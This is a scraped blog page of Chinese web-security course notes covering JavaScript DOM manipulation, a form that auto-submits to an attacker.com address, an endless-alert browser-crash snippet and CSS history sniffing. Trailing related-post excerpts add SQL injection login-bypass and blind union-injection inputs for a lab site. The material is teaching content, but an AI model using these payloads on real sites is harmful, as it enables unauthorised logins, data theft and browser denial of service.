Web信息安全实践_2.6 JavaScript DOM_2.7 JavaScript 攻击

DOM (Document Object Model,文档对象模型)

  • HTML DOM 定义了访问和操作 HTML 文档的标准方法
  • DOM 以树结构表达 HTML 文档

  • 通过 HTML DOM,JavaScript 能够访问和改变 HTML 文档的所有元素
  • 通过这个对象模型,JavaScript 获得创建动态 HTML 的所有力量:
    • JavaScript 能改变页面中的所有 HTML 元素
    • JavaScript 能改变页面中的所有 HTML 属性
    • JavaScript 能改变页面中的所有 CSS 样式
    • JavaScript 能删除已有的 HTML 元素和属性
    • JavaScript 能添加新的 HTML 元素和属性
    • JavaScript 能对页面中所有已有的 HTML 事件作出反应
    • JavaScript 能在页面中创建新的 HTML 事件

JavaScript 定位 HTML 元素的方法

  • 通过 id 找到 HTML 元素
  • 通过标签名找到 HTML 元素
  • 通过类名找到 HTML 元素
var x=document.getElementById("main");
var y=x.getElementsByTagName("p");
var z=document.getElementsByClassName("intro");

改变 HTML 元素

  • innerHTML - 节点的文本值
  • parentNode - 节点的父节点
  • childNodes - 节点的子节点
  • attributes - 节点的属性节点
<!DOCTYPE html>
<html>
    <body>
        <h1 id="header">Old Header</h1>
        <p id="p2">Hello world!</p>
        <script>
            var element=document.getElementById("header");
            element.innerHTML="New Header";
            document.getElementById("p2").style.color="blue";
        </script>
    </body>
</html>

JS 事件

  • 当用户点击鼠标时
  • 当网页已加载时
  • 当图片已加载时
  • 当鼠标移动到元素上时
  • 当输入字段被改变时
  • 当 HTML 表单被提交时
  • 当用户触发按键时
  • ……
<!DOCTYPE html>
<html>
    <body>
        <div
            onmouseover="mOver(this)"
            onmouseout="mOut(this)"
            style="background-color:#D94A38;width:200px;height:50px;padding-top:25px;text-align:center;">
            Mouse Over Me
        </div> 

        <script>
            function mOver(obj) { obj.innerHTML=" 做得好! " }
            function mOut(obj) { obj.innerHTML=" 把鼠标指针移动到这里改变文字 " }
        </script>
    </body>
</html>

自动提交表单

<script >
    function hello(){
        alert("自动提交表单!");
        document.getElementById(‘f‘).submit();
    }
    window.setTimeout(hello,5000);
</script> 

<form id="f" action="http://www.attacker.com/welcome.php" method="get">
    <input type="text" name="lastname"value="smith" size="30" maxlength="50">
</form> 

JavaScript 表单验证

<!--在将内容发送到服务器之前
     验证表单中的数据用户是否输入了有效的电子邮件地址?
     用户是否将所需字段留空?
     用户两次密码是否一致?
     用户是否同意相关条款?
-->

<script >
    if (!document.forms.registration.email.value.match(/^\[email protected]([a-zA-z0-9_]+\.)*[a-zA-Z]{2,3}$/)){
        /*直接通过树结构进行表单registration的访问*/
        alert("You must provide a ustc email adddress.");
        return false;
    }

    else if (document.forms.registration.password1.value == ""){
        alert("You must provide a password.");
        return false;
    }

    else if (document.forms.registration.password1.value != document.forms.registration.password2.value){
        alert("You must provide the same password twice.");
        return false;
    }

    else if (!document.forms.registration.agreement.checked){
        alert("You must agree to our terms and conditions.");
        return false;
    }

    return true;
</script>

2.7 JavaScript 攻击

  • 无尽 alert
<head>
    <script>
        function endless(){
            while(true) alert(1);
        }
    </script>
</head>

<body align=center>
    <input type="button" value="Crash your Browser!" onclick="endless()">
</body>
  • 无尽 window.open

思考题

<p id="p1" style="font-size:25px;color:red">p1</p>
<p id="p2" style="font-size:25px;color:blue">p2</p>
<a id="a1" href="https://www.w3school.com.cn/" >baidu a1</a><br>
<a id="a2" href="http://whatever">whatever a2</a><br>
<a id="a3" style="color: yellow;" href="https://www.w3school.com.cn/" >baidu a3</a><br>

<script>
document.write("<br><br>"+"p1‘s color is "+window.getComputedStyle(p1,null).color);
document.write("<br><br>"+"p2‘s color is "+window.getComputedStyle(p2,null).color);
document.write("<br><br>"+"a1‘s color is "+window.getComputedStyle(a1,null).color);
document.write("<br><br>"+"a2‘s color is "+window.getComputedStyle(a2,null).color);
document.write("<br><br>"+"a3‘s color is "+window.getComputedStyle(a3,null).color);
</script> 

a1‘s color is rgb(0, 102, 204)
a2‘s color is rgb(0, 102, 204)
???

css历史攻击

  • 原理:用户的历史信息是保存在用户的本地磁盘上。浏览器每次显示链接时,会主动读取历史信息,如果曾经访问过该链接,链接颜色显示紫色,如果没有访问过,显示蓝色,用以提醒用户“链接已经看过了”。攻击者利用这点可以窃取到用户的历史访问信息(攻击者不用攻击用户主机),用户的浏览器会主动把历史信息报告给攻击者。
  • 操作:
    • 攻击者自建攻击网站(吸引人的内容;隐藏链接——攻击者想知道用户是否曾经访问过这些隐藏链接)
    • 攻击者使用JavaScript获取这些链接的颜色,就知道用户是否曾经访问过这些链接
  • 处理:为了防御这种攻击,所有浏览器故意不去区分访问过的链接的颜色和未访问过的连接的颜色

原文地址:https://www.cnblogs.com/tianjiazhen/p/12235554.html

时间: 2024-08-30 15:08:31

Web信息安全实践_2.6 JavaScript DOM_2.7 JavaScript 攻击的相关文章

Web信息安全实践_2.5 JS语法基础

JavaScript历史 HTML页面缺乏交互性 造成带宽.时间和服务器资源的浪费 前端加入基本的检查:登录名.密码是否为空,两次密码输入是否一致... JavaScript代码嵌入在HTML中 <script> ... </script> 浏览器加载页面时执行代码,代码的动态输出和HTML的静态内容进行集成 可以在用户输入提交给远程服务器之前进行验证 JavaScript语法 1.动态数据集成 document.write:向文档流写入HTML表达式或JavaScript代码 &

Web信息安全实践_2.3css简介

CSS(Cascading Style Sheets,层级样式表) 内容和格式分离 使用方式 外部样式表 (保存在外部 .css ) 内部样式表(位于 <head> 标签内部) 内联样式(在 HTML 元素内部) css语法 选择器.属性.值 p { font-family: times; } 选择器 类选择器用于指定一组元素的样式 类选择器使用 HTML类属性,并使用“.”定义 id 选择器用于为单个唯一元素指定样式 id 选择器使用 HTML元素的id属性,并使用“#”定义 简单的元素选择

Web信息安全实践_2.1 HTML_2.2HTML重要元素

HTML(Hypertext Markup Language):指定网页静态内容的语言 Hypertext:文本.多媒体.链接... Markup:可以用来标识文档结构和内容类型的特殊符号,即标签 2.2HTML重要元素 标签 Anchors 使用标签 <a> 来设置,可以链接到网络上的任意文件 href 属性来描述链接的地址, name :锚名称 <a href="#001"> 点我跳转到页面底部 </a> <br> <a hre

Web信息安全实践_2.8 PHP

PHP(HyperText Preprocessor,超文本预处理器) PHP 功能 PHP 可以生成动态页面内容 PHP 可以创建.打开.读取.写入.关闭服务器的文件 PHP 可以收集表单数据 PHP 可以发送和接收cookies PHP 可以添加.删除.修改数据库中的数据 PHP 可以加密数据 PHP 与表单的交互 PHP 使用超全局变量 $_GET .$_POST 或者 $_REQUEST 用于收集表单数据 $_GET 和 $_POST 分别接受通过GET 和 POST 方法提交的数据 $

Web信息安全实践_4.1 XSS防御

XSS 存在的三个条件 网站应用程序必须接受用户的输入信息 用户的输入会被网站用来创建动态内容 用户的输入验证不充分 输入过滤,输出转义:检查用户输入含有攻击信息,尽可能过滤攻击信息:如果不能判断哪些是攻击信息,那么要使得显示的时候不能发送攻击 输入过滤 使用黑名单,从用户的输入中删除 <script> 缺点:很难保证完全:限制了用户展示代码 <scr<script>ipt> //若仅过滤一个script,其他不检查 some<<b>script>

Web信息安全实践_3.4 CSRF防御

错误的CSRF防御方法 (1)只接受 POST 请求 攻击者不能基于链接简单地攻击( IMG ),但是可以使用脚本创建隐藏的 POST 请求 (2)转账需要多步 e.g. 第一个请求转多少个coin,第二个请求转给谁 CSRF 攻击可以按顺序执行每个步骤 (3)检查 Referer Referer Referer报文头是网页请求头的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理. 用户正常转账:请求从

Web信息安全实践_3.2 Cookie

HTTP 持久性 (1)HTTP 是一个无状态的协议:服务器不记录请求之间的关系 e.g. 购物,提交购物车.付钱两次请求之间,http协议不记录这两个请求之间的关系 (2HTTP 如何实现会话的持久性的呢? Cookie HTTP Cookie Cookie 的用途 (1)Cookie 用户浏览器访问网站时,在用户本地存储信息 服务器设置cookie的值,本地保存 (2)Authentication cookie 存储关于用户登录状况的信息 使用 Authentication Cookie 可

Web信息安全实践_4.0 XSS_知乎1

XSS攻击即为(Cross Site Scripting), 中文为跨站脚本. 之所以它的名字不是CSS而是XSS,是为了区分CSS. XSS攻击是发生在目标用户的浏览器上的,当渲染DOM树的过程中执行了不该执行的JS代码时,就发生了XSS攻击.跨站脚本的重点不是“跨站”,而是“脚本” 页面执行不该执行的JS 我们首先来看一下,页面执行不该执行的JS是什么意思.譬如我们来看这个代码: // 假设有一个自动回答网站:在框内输入一个问题,这个问题是通过$_GET['q']获取的:网站后台接收用户输入

Web信息安全实践_6 SQL注入

www.myzoo.com 输入示例 Login a'# 用户a登录 a' or 1# a' or 1=1# a' and 1;# d' or 1# a' or '1  思考:为什么无密码可以登录?为什么最终登录的都是a? b' or 0;#  用户b登录 profile a', Coins=100 where Username='a' ;# User c' union select 1,1,1,1,1,1,if(substring(database(),1,1)=char(119),bench